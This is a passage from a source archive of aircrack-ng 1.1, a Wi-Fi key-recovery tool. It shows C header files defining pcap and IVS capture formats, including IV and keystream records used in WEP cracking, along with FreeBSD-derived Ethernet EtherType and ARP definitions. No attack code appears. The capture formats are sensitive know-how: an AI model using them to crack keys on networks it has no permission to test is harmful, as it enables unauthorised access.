TCPDUMP_MAGIC 0xA1B2C3D4 #define TCPDUMP_CIGAM 0xD4C3B2A1 #define IVSONLY_MAGIC "\xBF\xCA\x84\xD4" #define IVS2_MAGIC "\xAE\x78\xD1\xFF" #define IVS2_EXTENSION "ivs" #define IVS2_VERSION 1 #define PCAP_VERSION_MAJOR 2 #define PCAP_VERSION_MINOR 4 #define LINKTYPE_ETHERNET 1 #define LINKTYPE_IEEE802_11 105 #define LINKTYPE_PRISM_HEADER 119 #define LINKTYPE_RADIOTAP_HDR 127 #define LINKTYPE_PPI_HDR 192 #define uchar unsigned char #define ushort unsigned short #define uint unsigned int #define ulong unsigned long //BSSID const. length of 6 bytes; can be together with all the other types #define IVS2_BSSID 0x0001 //ESSID var. length; alone, or with BSSID #define IVS2_ESSID 0x0002 //wpa structure, const. length; alone, or with BSSID #define IVS2_WPA 0x0004 //IV+IDX+KEYSTREAM, var. length; alone or with BSSID #define IVS2_XOR 0x0008 /* [IV+IDX][i][l][XOR_1]..[XOR_i][weight] * * holds i possible keystreams for the same IV with a length of l for each keystream (l max 32) * * and an array "int weight[16]" at the end */ #define IVS2_PTW 0x0010 //unencrypted packet #define IVS2_CLR 0x0020 struct pcap_file_header { uint magic; ushort version_major; ushort version_minor; int thiszone; uint sigfigs; uint snaplen; uint linktype; }; struct pcap_pkthdr { int tv_sec; int tv_usec; uint caplen; uint len; }; struct ivs2_filehdr { unsigned short version; }; struct ivs2_pkthdr { unsigned short flags; unsigned short len; }; #endif /* common.h */ aircrack-ng-1.1/src/include/0000755000000000000000000000000011364675641014461 5ustar rootrootaircrack-ng-1.1/src/include/ethernet.h0000644000000000000000000004623510761053203016442 0ustar rootroot/* * Fundamental constants relating to ethernet. * * $FreeBSD: src/sys/net/ethernet.h,v 1.30 2007/03/07 12:51:52 bms Exp $ * */ #ifndef _NET_ETHERNET_H_ #define _NET_ETHERNET_H_ /* * Somce basic Ethernet constants. */ #define ETHER_ADDR_LEN 6 /* length of an Ethernet address */ #define ETHER_TYPE_LEN 2 /* length of the Ethernet type field */ #define ETHER_CRC_LEN 4 /* length of the Ethernet CRC */ #define ETHER_HDR_LEN (ETHER_ADDR_LEN*2+ETHER_TYPE_LEN) #define ETHER_MIN_LEN 64 /* minimum frame len, including CRC */ #define ETHER_MAX_LEN 1518 /* maximum frame len, including CRC */ #define ETHER_MAX_LEN_JUMBO 9018 /* max jumbo frame len, including CRC */ #define ETHER_VLAN_ENCAP_LEN 4 /* len of 802.1Q VLAN encapsulation */ /* * Mbuf adjust factor to force 32-bit alignment of IP header. * Drivers should do m_adj(m, ETHER_ALIGN) when setting up a * receive so the upper layers get the IP header properly aligned * past the 14-byte Ethernet header. */ #define ETHER_ALIGN 2 /* driver adjust for IP hdr alignment */ /* * Compute the maximum frame size based on ethertype (i.e. possible * encapsulation) and whether or not an FCS is present. */ #define ETHER_MAX_FRAME(ifp, etype, hasfcs) \ ((ifp)->if_mtu + ETHER_HDR_LEN + \ ((hasfcs) ? ETHER_CRC_LEN : 0) + \ (((etype) == ETHERTYPE_VLAN) ? ETHER_VLAN_ENCAP_LEN : 0)) /* * Ethernet-specific mbuf flags. */ #define M_HASFCS M_PROTO5 /* FCS included at end of frame */ /* * Ethernet CRC32 polynomials (big- and little-endian verions). */ #define ETHER_CRC_POLY_LE 0xedb88320 #define ETHER_CRC_POLY_BE 0x04c11db6 /* * A macro to validate a length with */ #define ETHER_IS_VALID_LEN(foo) \ ((foo) >= ETHER_MIN_LEN && (foo) <= ETHER_MAX_LEN) /* * Structure of a 10Mb/s Ethernet header. */ struct ether_header { u_char ether_dhost[ETHER_ADDR_LEN]; u_char ether_shost[ETHER_ADDR_LEN]; u_short ether_type; } __packed; /* * Structure of a 48-bit Ethernet address. */ struct ether_addr { u_char octet[ETHER_ADDR_LEN]; } __packed; #ifdef CTASSERT CTASSERT(sizeof (struct ether_header) == ETHER_ADDR_LEN * 2 + 2); CTASSERT(sizeof (struct ether_addr) == ETHER_ADDR_LEN); #endif #define ETHER_IS_MULTICAST(addr) (*(addr) & 0x01) /* is address mcast/bcast? */ /* * NOTE: 0x0000-0x05DC (0..1500) are generally IEEE 802.3 length fields. * However, there are some conflicts. */ #define ETHERTYPE_8023 0x0004 /* IEEE 802.3 packet */ /* 0x0101 .. 0x1FF Experimental */ #define ETHERTYPE_PUP 0x0200 /* Xerox PUP protocol - see 0A00 */ #define ETHERTYPE_PUPAT 0x0200 /* PUP Address Translation - see 0A01 */ #define ETHERTYPE_SPRITE 0x0500 /* ??? */ /* 0x0400 Nixdorf */ #define ETHERTYPE_NS 0x0600 /* XNS */ #define ETHERTYPE_NSAT 0x0601 /* XNS Address Translation (3Mb only) */ #define ETHERTYPE_DLOG1 0x0660 /* DLOG (?) */ #define ETHERTYPE_DLOG2 0x0661 /* DLOG (?) */ #define ETHERTYPE_IP 0x0800 /* IP protocol */ #define ETHERTYPE_X75 0x0801 /* X.75 Internet */ #define ETHERTYPE_NBS 0x0802 /* NBS Internet */ #define ETHERTYPE_ECMA 0x0803 /* ECMA Internet */ #define ETHERTYPE_CHAOS 0x0804 /* CHAOSnet */ #define ETHERTYPE_X25 0x0805 /* X.25 Level 3 */ #define ETHERTYPE_ARP 0x0806 /* Address resolution protocol */ #define ETHERTYPE_NSCOMPAT 0x0807 /* XNS Compatibility */ #define ETHERTYPE_FRARP 0x0808 /* Frame Relay ARP (RFC1701) */ /* 0x081C Symbolics Private */ /* 0x0888 - 0x088A Xyplex */ #define ETHERTYPE_UBDEBUG 0x0900 /* Ungermann-Bass network debugger */ #define ETHERTYPE_IEEEPUP 0x0A00 /* Xerox IEEE802.3 PUP */ #define ETHERTYPE_IEEEPUPAT 0x0A01 /* Xerox IEEE802.3 PUP Address Translation */ #define ETHERTYPE_VINES 0x0BAD /* Banyan VINES */ #define ETHERTYPE_VINESLOOP 0x0BAE /* Banyan VINES Loopback */ #define ETHERTYPE_VINESECHO 0x0BAF /* Banyan VINES Echo */ /* 0x1000 - 0x100F Berkeley Trailer */ /* * The ETHERTYPE_NTRAILER packet types starting at ETHERTYPE_TRAIL have * (type-ETHERTYPE_TRAIL)*512 bytes of data followed * by an ETHER type (as given above) and then the (variable-length) header. */ #define ETHERTYPE_TRAIL 0x1000 /* Trailer packet */ #define ETHERTYPE_NTRAILER 16 #define ETHERTYPE_DCA 0x1234 /* DCA - Multicast */ #define ETHERTYPE_VALID 0x1600 /* VALID system protocol */ #define ETHERTYPE_DOGFIGHT 0x1989 /* Artificial Horizons ("Aviator" dogfight simulator [on Sun]) */ #define ETHERTYPE_RCL 0x1995 /* Datapoint Corporation (RCL lan protocol) */ /* The following 3C0x types are unregistered: */ #define ETHERTYPE_NBPVCD 0x3C00 /* 3Com NBP virtual circuit datagram (like XNS SPP) not registered */ #define ETHERTYPE_NBPSCD 0x3C01 /* 3Com NBP System control datagram not registered */ #define ETHERTYPE_NBPCREQ 0x3C02 /* 3Com NBP Connect request (virtual cct) not registered */ #define ETHERTYPE_NBPCRSP 0x3C03 /* 3Com NBP Connect repsonse not registered */ #define ETHERTYPE_NBPCC 0x3C04 /* 3Com NBP Connect complete not registered */ #define ETHERTYPE_NBPCLREQ 0x3C05 /* 3Com NBP Close request (virtual cct) not registered */ #define ETHERTYPE_NBPCLRSP 0x3C06 /* 3Com NBP Close response not registered */ #define ETHERTYPE_NBPDG 0x3C07 /* 3Com NBP Datagram (like XNS IDP) not registered */ #define ETHERTYPE_NBPDGB 0x3C08 /* 3Com NBP Datagram broadcast not registered */ #define ETHERTYPE_NBPCLAIM 0x3C09 /* 3Com NBP Claim NetBIOS name not registered */ #define ETHERTYPE_NBPDLTE 0x3C0A /* 3Com NBP Delete Netbios name not registered */ #define ETHERTYPE_NBPRAS 0x3C0B /* 3Com NBP Remote adaptor status request not registered */ #define ETHERTYPE_NBPRAR 0x3C0C /* 3Com NBP Remote adaptor response not registered */ #define ETHERTYPE_NBPRST 0x3C0D /* 3Com NBP Reset not registered */ #define ETHERTYPE_PCS 0x4242 /* PCS Basic Block Protocol */ #define ETHERTYPE_IMLBLDIAG 0x424C /* Information Modes Little Big LAN diagnostic */ #define ETHERTYPE_DIDDLE 0x4321 /* THD - Diddle */ #define ETHERTYPE_IMLBL 0x4C42 /* Information Modes Little Big LAN */ #define ETHERTYPE_SIMNET 0x5208 /* BBN Simnet Private */ #define ETHERTYPE_DECEXPER 0x6000 /* DEC Unassigned, experimental */ #define ETHERTYPE_MOPDL 0x6001 /* DEC MOP dump/load */ #define ETHERTYPE_MOPRC 0x6002 /* DEC MOP remote console */ #define ETHERTYPE_DECnet 0x6003 /* DEC DECNET Phase IV route */ #define ETHERTYPE_DN ETHERTYPE_DECnet /* libpcap, tcpdump */ #define ETHERTYPE_LAT 0x6004 /* DEC LAT */ #define ETHERTYPE_DECDIAG 0x6005 /* DEC diagnostic protocol (at interface initialization?) */ #define ETHERTYPE_DECCUST 0x6006 /* DEC customer protocol */ #define ETHERTYPE_SCA 0x6007 /* DEC LAVC, SCA */ #define ETHERTYPE_AMBER 0x6008 /* DEC AMBER */ #define ETHERTYPE_DECMUMPS 0x6009 /* DEC MUMPS */ /* 0x6010 - 0x6014 3Com Corporation */ #define ETHERTYPE_TRANSETHER 0x6558 /* Trans Ether Bridging (RFC1701)*/ #define ETHERTYPE_RAWFR 0x6559 /* Raw Frame Relay (RFC1701) */ #define ETHERTYPE_UBDL 0x7000 /* Ungermann-Bass download */ #define ETHERTYPE_UBNIU 0x7001 /* Ungermann-Bass NIUs */ #define ETHERTYPE_UBDIAGLOOP 0x7002 /* Ungermann-Bass diagnostic/loopback */ #define ETHERTYPE_UBNMC 0x7003 /* Ungermann-Bass ??? (NMC to/from UB Bridge) */ #define ETHERTYPE_UBBST 0x7005 /* Ungermann-Bass Bridge Spanning Tree */ #define ETHERTYPE_OS9 0x7007 /* OS/9 Microware */ #define ETHERTYPE_OS9NET 0x7009 /* OS/9 Net? */ /* 0x7020 - 0x7029 LRT (England) (now Sintrom) */ #define ETHERTYPE_RACAL 0x7030 /* Racal-Interlan */ #define ETHERTYPE_PRIMENTS 0x7031 /* Prime NTS (Network Terminal Service) */ #define ETHERTYPE_CABLETRON 0x7034 /* Cabletron */ #define ETHERTYPE_CRONUSVLN 0x8003 /* Cronus VLN */ #define ETHERTYPE_CRONUS 0x8004 /* Cronus Direct */ #define ETHERTYPE_HP 0x8005 /* HP Probe */ #define ETHERTYPE_NESTAR 0x8006 /* Nestar */ #define ETHERTYPE_ATTSTANFORD 0x8008 /* AT&T/Stanford (local use) */ #define ETHERTYPE_EXCELAN 0x8010 /* Excelan */ #define ETHERTYPE_SG_DIAG 0x8013 /* SGI diagnostic type */ #define ETHERTYPE_SG_NETGAMES 0x8014 /* SGI network games */ #define ETHERTYPE_SG_RESV 0x8015 /* SGI reserved type */ #define ETHERTYPE_SG_BOUNCE 0x8016 /* SGI bounce server */ #define ETHERTYPE_APOLLODOMAIN 0x8019 /* Apollo DOMAIN */ #define ETHERTYPE_TYMSHARE 0x802E /* Tymeshare */ #define ETHERTYPE_TIGAN 0x802F /* Tigan, Inc. */ #define ETHERTYPE_REVARP 0x8035 /* Reverse addr resolution protocol */ #define ETHERTYPE_AEONIC 0x8036 /* Aeonic Systems */ #define ETHERTYPE_IPXNEW 0x8037 /* IPX (Novell Netware?) */ #define ETHERTYPE_LANBRIDGE 0x8038 /* DEC LANBridge */ #define ETHERTYPE_DSMD 0x8039 /* DEC DSM/DDP */ #define ETHERTYPE_ARGONAUT 0x803A /* DEC Argonaut Console */ #define ETHERTYPE_VAXELN 0x803B /* DEC VAXELN */ #define ETHERTYPE_DECDNS 0x803C /* DEC DNS Naming Service */ #define ETHERTYPE_ENCRYPT 0x803D /* DEC Ethernet Encryption */ #define ETHERTYPE_DECDTS 0x803E /* DEC Distributed Time Service */ #define ETHERTYPE_DECLTM 0x803F /* DEC LAN Traffic Monitor */ #define ETHERTYPE_DECNETBIOS 0x8040 /* DEC PATHWORKS DECnet NETBIOS Emulation */ #define ETHERTYPE_DECLAST 0x8041 /* DEC Local Area System Transport */ /* 0x8042 DEC Unassigned */ #define ETHERTYPE_PLANNING 0x8044 /* Planning Research Corp. */ /* 0x8046 - 0x8047 AT&T */ #define ETHERTYPE_DECAM 0x8048 /* DEC Availability Manager for Distributed Systems DECamds (but someone at DEC says not) */ #define ETHERTYPE_EXPERDATA 0x8049 /* ExperData */ #define ETHERTYPE_VEXP 0x805B /* Stanford V Kernel exp. */ #define ETHERTYPE_VPROD 0x805C /* Stanford V Kernel prod. */ #define ETHERTYPE_ES 0x805D /* Evans & Sutherland */ #define ETHERTYPE_LITTLE 0x8060 /* Little Machines */ #define ETHERTYPE_COUNTERPOINT 0x8062 /* Counterpoint Computers */ /* 0x8065 - 0x8066 Univ. of Mass @ Amherst */ #define ETHERTYPE_VEECO 0x8067 /* Veeco Integrated Auto. */ #define ETHERTYPE_GENDYN 0x8068 /* General Dynamics */ #define ETHERTYPE_ATT 0x8069 /* AT&T */ #define ETHERTYPE_AUTOPHON 0x806A /* Autophon */ #define ETHERTYPE_COMDESIGN 0x806C /* ComDesign */ #define ETHERTYPE_COMPUGRAPHIC 0x806D /* Compugraphic Corporation */ /* 0x806E - 0x8077 Landmark Graphics Corp. */ #define ETHERTYPE_MATRA 0x807A /* Matra */ #define ETHERTYPE_DDE 0x807B /* Dansk Data Elektronik */ #define ETHERTYPE_MERIT 0x807C /* Merit Internodal (or Univ of Michigan?) */ /* 0x807D - 0x807F Vitalink Communications */ #define ETHERTYPE_VLTLMAN 0x8080 /* Vitalink TransLAN III Management */ /* 0x8081 - 0x8083 Counterpoint Computers */ /* 0x8088 - 0x808A Xyplex */ #define ETHERTYPE_ATALK 0x809B /* AppleTalk */ #define ETHERTYPE_AT ETHERTYPE_ATALK /* old NetBSD */ #define ETHERTYPE_APPLETALK ETHERTYPE_ATALK /* HP-UX */ /* 0x809C - 0x809E Datability */ #define ETHERTYPE_SPIDER 0x809F /* Spider Systems Ltd. */ /* 0x80A3 Nixdorf */ /* 0x80A4 - 0x80B3 Siemens Gammasonics Inc. */ /* 0x80C0 - 0x80C3 DCA (Digital Comm. Assoc.) Data Exchange Cluster */ /* 0x80C4 - 0x80C5 Banyan Systems */ #define ETHERTYPE_PACER 0x80C6 /* Pacer Software */ #define ETHERTYPE_APPLITEK 0x80C7 /* Applitek Corporation */ /* 0x80C8 - 0x80CC Intergraph Corporation */ /* 0x80CD - 0x80CE Harris Corporation */ /* 0x80CF - 0x80D2 Taylor Instrument */ /* 0x80D3 - 0x80D4 Rosemount Corporation */ #define ETHERTYPE_SNA 0x80D5 /* IBM SNA Services over Ethernet */ #define ETHERTYPE_VARIAN 0x80DD /* Varian Associates */ /* 0x80DE - 0x80DF TRFS (Integrated Solutions Transparent Remote File System) */ /* 0x80E0 - 0x80E3 Allen-Bradley */ /* 0x80E4 - 0x80F0 Datability */ #define ETHERTYPE_RETIX 0x80F2 /* Retix */ #define ETHERTYPE_AARP 0x80F3 /* AppleTalk AARP */ /* 0x80F4 - 0x80F5 Kinetics */ #define ETHERTYPE_APOLLO 0x80F7 /* Apollo Computer */ #define ETHERTYPE_VLAN 0x8100 /* IEEE 802.1Q VLAN tagging (XXX conflicts) */ /* 0x80FF - 0x8101 Wellfleet Communications (XXX conflicts) */ #define ETHERTYPE_BOFL 0x8102 /* Wellfleet; BOFL (Breath OF Life) pkts [every 5-10 secs.] */ #define ETHERTYPE_WELLFLEET 0x8103 /* Wellfleet Communications */ /* 0x8107 - 0x8109 Symbolics Private */ #define ETHERTYPE_TALARIS 0x812B /* Talaris */ #define ETHERTYPE_WATERLOO 0x8130 /* Waterloo Microsystems Inc. (XXX which?) */ #define ETHERTYPE_HAYES 0x8130 /* Hayes Microcomputers (XXX which?) */ #define ETHERTYPE_VGLAB 0x8131 /* VG Laboratory Systems */ /* 0x8132 - 0x8137 Bridge Communications */ #define ETHERTYPE_IPX 0x8137 /* Novell (old) NetWare IPX (ECONFIG E option) */ #define ETHERTYPE_NOVELL 0x8138 /* Novell, Inc. */ /* 0x8139 - 0x813D KTI */ #define ETHERTYPE_MUMPS 0x813F /* M/MUMPS data sharing */ #define ETHERTYPE_AMOEBA 0x8145 /* Vrije Universiteit (NL) Amoeba 4 RPC (obsolete) */ #define ETHERTYPE_FLIP 0x8146 /* Vrije Universiteit (NL) FLIP (Fast Local Internet Protocol) */ #define ETHERTYPE_VURESERVED 0x8147 /* Vrije Universiteit (NL) [reserved] */ #define ETHERTYPE_LOGICRAFT 0x8148 /* Logicraft */ #define ETHERTYPE_NCD 0x8149 /* Network Computing Devices */ #define ETHERTYPE_ALPHA 0x814A /* Alpha Micro */ #define ETHERTYPE_SNMP 0x814C /* SNMP over Ethernet (see RFC1089) */ /* 0x814D - 0x814E BIIN */ #define ETHERTYPE_TEC 0x814F /* Technically Elite Concepts */ #define ETHERTYPE_RATIONAL 0x8150 /* Rational Corp */ /* 0x8151 - 0x8153 Qualcomm */ /* 0x815C - 0x815E Computer Protocol Pty Ltd */ /* 0x8164 - 0x8166 Charles River Data Systems */ #define ETHERTYPE_XTP 0x817D /* Protocol Engines XTP */ #define ETHERTYPE_SGITW 0x817E /* SGI/Time Warner prop. */ #define ETHERTYPE_HIPPI_FP 0x8180 /* HIPPI-FP encapsulation */ #define ETHERTYPE_STP 0x8181 /* Scheduled Transfer STP, HIPPI-ST */ /* 0x8182 - 0x8183 Reserved for HIPPI-6400 */ /* 0x8184 - 0x818C SGI prop. */ #define ETHERTYPE_MOTOROLA 0x818D /* Motorola */ #define ETHERTYPE_NETBEUI 0x8191 /* PowerLAN NetBIOS/NetBEUI (PC) */ /* 0x819A - 0x81A3 RAD Network Devices */ /* 0x81B7 - 0x81B9 Xyplex */ /* 0x81CC - 0x81D5 Apricot Computers */ /* 0x81D6 - 0x81DD Artisoft Lantastic */ /* 0x81E6 - 0x81EF Polygon */ /* 0x81F0 - 0x81F2 Comsat Labs */ /* 0x81F3 - 0x81F5 SAIC */ /* 0x81F6 - 0x81F8 VG Analytical */ /* 0x8203 - 0x8205 QNX Software Systems Ltd. */ /* 0x8221 - 0x8222 Ascom Banking Systems */ /* 0x823E - 0x8240 Advanced Encryption Systems */ /* 0x8263 - 0x826A Charles River Data Systems */ /* 0x827F - 0x8282 Athena Programming */ /* 0x829A - 0x829B Inst Ind Info Tech */ /* 0x829C - 0x82AB Taurus Controls */ /* 0x82AC - 0x8693 Walker Richer & Quinn */ #define ETHERTYPE_ACCTON 0x8390 /* Accton Technologies (unregistered) */ #define ETHERTYPE_TALARISMC 0x852B /* Talaris multicast */ #define ETHERTYPE_KALPANA 0x8582 /* Kalpana */ /* 0x8694 - 0x869D Idea Courier */ /* 0x869E - 0x86A1 Computer Network Tech */ /* 0x86A3 - 0x86AC Gateway Communications */ #define ETHERTYPE_SECTRA 0x86DB /* SECTRA */ #define ETHERTYPE_IPV6 0x86DD /* IP protocol version 6 */ #define ETHERTYPE_DELTACON 0x86DE /* Delta Controls */ #define ETHERTYPE_ATOMIC 0x86DF /* ATOMIC */ /* 0x86E0 - 0x86EF Landis & Gyr Powers */ /* 0x8700 - 0x8710 Motorola */ #define ETHERTYPE_RDP 0x8739 /* Control Technology Inc. RDP Without IP */ #define ETHERTYPE_MICP 0x873A /* Control Technology Inc. Mcast Industrial Ctrl Proto. */ /* 0x873B - 0x873C Control Technology Inc. Proprietary */ #define ETHERTYPE_TCPCOMP 0x876B /* TCP/IP Compression (RFC1701) */ #define ETHERTYPE_IPAS 0x876C /* IP Autonomous Systems (RFC1701) */ #define ETHERTYPE_SECUREDATA 0x876D /* Secure Data (RFC1701) */ #define ETHERTYPE_FLOWCONTROL 0x8808 /* 802.3x flow control packet */ #define ETHERTYPE_SLOW 0x8809 /* 802.3ad link aggregation (LACP) */ #define ETHERTYPE_PPP 0x880B /* PPP (obsolete by PPPOE) */ #define ETHERTYPE_HITACHI 0x8820 /* Hitachi Cable (Optoelectronic Systems Laboratory) */ #define ETHERTYPE_MPLS 0x8847 /* MPLS Unicast */ #define ETHERTYPE_MPLS_MCAST 0x8848 /* MPLS Multicast */ #define ETHERTYPE_AXIS 0x8856 /* Axis Communications AB proprietary bootstrap/config */ #define ETHERTYPE_PPPOEDISC 0x8863 /* PPP Over Ethernet Discovery Stage */ #define ETHERTYPE_PPPOE 0x8864 /* PPP Over Ethernet Session Stage */ #define ETHERTYPE_LANPROBE 0x8888 /* HP LanProbe test? */ #define ETHERTYPE_PAE 0x888e /* EAPOL PAE/802.1x */ #define ETHERTYPE_LOOPBACK 0x9000 /* Loopback: used to test interfaces */ #define ETHERTYPE_LBACK ETHERTYPE_LOOPBACK /* DEC MOP loopback */ #define ETHERTYPE_XNSSM 0x9001 /* 3Com (Formerly Bridge Communications), XNS Systems Management */ #define ETHERTYPE_TCPSM 0x9002 /* 3Com (Formerly Bridge Communications), TCP/IP Systems Management */ #define ETHERTYPE_BCLOOP 0x9003 /* 3Com (Formerly Bridge Communications), loopback detection */ #define ETHERTYPE_DEBNI 0xAAAA /* DECNET? Used by VAX 6220 DEBNI */ #define ETHERTYPE_SONIX 0xFAF5 /* Sonix Arpeggio */ #define ETHERTYPE_VITAL 0xFF00 /* BBN VITAL-LanBridge cache wakeups */ /* 0xFF00 - 0xFFOF ISC Bunker Ramo */ #define ETHERTYPE_MAX 0xFFFF /* Maximum valid ethernet type, reserved */ /* * The ETHERTYPE_NTRAILER packet types starting at ETHERTYPE_TRAIL have * (type-ETHERTYPE_TRAIL)*512 bytes of data followed * by an ETHER type (as given above) and then the (variable-length) header. */ #define ETHERTYPE_TRAIL 0x1000 /* Trailer packet */ #define ETHERTYPE_NTRAILER 16 #define ETHERMTU (ETHER_MAX_LEN-ETHER_HDR_LEN-ETHER_CRC_LEN) #define ETHERMIN (ETHER_MIN_LEN-ETHER_HDR_LEN-ETHER_CRC_LEN) #define ETHERMTU_JUMBO (ETHER_MAX_LEN_JUMBO - ETHER_HDR_LEN - ETHER_CRC_LEN) /* * The ETHER_BPF_MTAP macro should be used by drivers which support hardware * offload for VLAN tag processing. It will check the mbuf to see if it has * M_VLANTAG set, and if it does, will pass the packet along to * ether_vlan_mtap. This function will re-insert VLAN tags for the duration * of the tap, so they show up properly for network analyzers. */ #define ETHER_BPF_MTAP(_ifp, _m) do { \ if (bpf_peers_present((_ifp)->if_bpf)) { \ M_ASSERTVALID(_m); \ if (((_m)->m_flags & M_VLANTAG) != 0) \ ether_vlan_mtap((_ifp)->if_bpf, (_m), NULL, 0); \ else \ bpf_mtap((_ifp)->if_bpf, (_m)); \ } \ } while (0) #ifdef _KERNEL struct ifnet; struct mbuf; struct rtentry; struct sockaddr; struct bpf_if; extern uint32_t ether_crc32_le(const uint8_t *, size_t); extern uint32_t ether_crc32_be(const uint8_t *, size_t); extern void ether_demux(struct ifnet *, struct mbuf *); extern void ether_ifattach(struct ifnet *, const u_int8_t *); extern void ether_ifdetach(struct ifnet *); extern int ether_ioctl(struct ifnet *, int, caddr_t); extern int ether_output(struct ifnet *, struct mbuf *, struct sockaddr *, struct rtentry *); extern int ether_output_frame(struct ifnet *, struct mbuf *); extern char *ether_sprintf(const u_int8_t *); void ether_vlan_mtap(struct bpf_if *, struct mbuf *, void *, u_int); #else /* _KERNEL */ #include /* * Ethernet address conversion/parsing routines. */ __BEGIN_DECLS struct ether_addr *ether_aton(const char *); int ether_hostton(const char *, struct ether_addr *); int ether_line(const char *, struct ether_addr *, char *); char *ether_ntoa(const struct ether_addr *); int ether_ntohost(char *, const struct ether_addr *); __END_DECLS #endif /* !_KERNEL */ #endif /* !_NET_ETHERNET_H_ */ aircrack-ng-1.1/src/include/if_arp.h0000644000000000000000000001107110761053203016052 0ustar rootroot/*- * Copyright (c) 1986, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#)if_arp.h 8.1 (Berkeley) 6/10/93 * $FreeBSD: src/sys/net/if_arp.h,v 1.24 2005/11/11 16:04:48 ru Exp $ */ #ifndef _NET_IF_ARP_H_ #define _NET_IF_ARP_H_ /* * Address Resolution Protocol. * * See RFC 826 for protocol description. ARP packets are variable * in size; the arphdr structure defines the fixed-length portion. * Protocol type values are the same as those for 10 Mb/s Ethernet. * It is followed by the variable-sized fields ar_sha, arp_spa, * arp_tha and arp_tpa in that order, according to the lengths * specified. Field names used correspond to RFC 826. */ struct arphdr { u_short ar_hrd; /* format of hardware address */ #define ARPHRD_ETHER 1 /* ethernet hardware format */ #define ARPHRD_IEEE802 6 /* token-ring hardware format */ #define ARPHRD_ARCNET 7 /* arcnet hardware format */ #define ARPHRD_FRELAY 15 /* frame relay hardware format */ #define ARPHRD_IEEE1394 24 /* firewire hardware format */ u_short ar_pro; /* format of protocol address */ u_char ar_hln; /* length of hardware address */ u_char ar_pln; /* length of protocol address */ u_short ar_op; /* one of: */ #define ARPOP_REQUEST 1 /* request to resolve address */ #define ARPOP_REPLY 2 /* response to previous request */ #define ARPOP_REVREQUEST 3 /* request protocol address given hardware */ #define ARPOP_REVREPLY 4 /* response giving protocol address */ #define ARPOP_INVREQUEST 8 /* request to identify peer */ #define ARPOP_INVREPLY 9 /* response identifying peer */ /* * The remaining fields are variable in size, * according to the sizes above. */ #ifdef COMMENT_ONLY u_char ar_sha[]; /* sender hardware address */ u_char ar_spa[]; /* sender protocol address */ u_char ar_tha[]; /* target hardware address */ u_char ar_tpa[]; /* target protocol address */ #endif }; #define ar_sha(ap) (((caddr_t)((ap)+1)) + 0) #define ar_spa(ap) (((caddr_t)((ap)+1)) + (ap)->ar_hln) #define ar_tha(ap) (((caddr_t)((ap)+1)) + (ap)->ar_hln + (ap)->ar_pln) #define ar_tpa(ap) (((caddr_t)((ap)+1)) + 2*(ap)->ar_hln + (ap)->ar_pln) #define arphdr_len2(ar_hln, ar_pln) \ (sizeof(struct arphdr) + 2*(ar_hln) + 2*(ar_pln)) #define arphdr_len(ap) (arphdr_len2((ap)->ar_hln, (ap)->ar_pln)) /* * ARP ioctl request */ struct arpreq { struct sockaddr arp_pa; /* protocol address */ struct sockaddr arp_ha; /* hardware address */ int arp_flags; /* flags */ }; /* arp_flags and at_flags field values */ #define ATF_INUSE 0x01 /* entry in use */ #define ATF_COM 0x02 /* completed entry (enaddr valid) */ #define ATF_PERM 0x04 /* permanent entry */ #define ATF_PUBL 0x08 /* publish entry (respond for other host) */ #define ATF_USETRAILERS 0x10 /* has requested trailers */ #ifdef _KERNEL /* * Structure shared between the ethernet driver modules and * the address resolution code. */ struct arpcom { struct ifnet *ac_ifp; /* network-visible interface */ void *ac_netgraph; /* ng_ether(4) netgraph node info */ }; #define IFP2AC(ifp) ((struct arpcom *)(ifp->if_l2com)) #define AC2IFP(ac) ((ac)->ac_ifp) #endif #endif /* !_NET_IF_ARP_H_ */ aircrack-ng-1.1/src/include/ieee80211.h0000644000000000000000000004576110761053203016132 0ustar rootroot/*- * Copyright (c) 2001 Atsushi Onoe * Copyright (c) 2002-2005 Sam Leffler, Errno Consulting * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * Alternatively, this software may be distributed under the terms of the * GNU General Public License ("GPL") version 2 as published by the Free * Software Foundation. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF 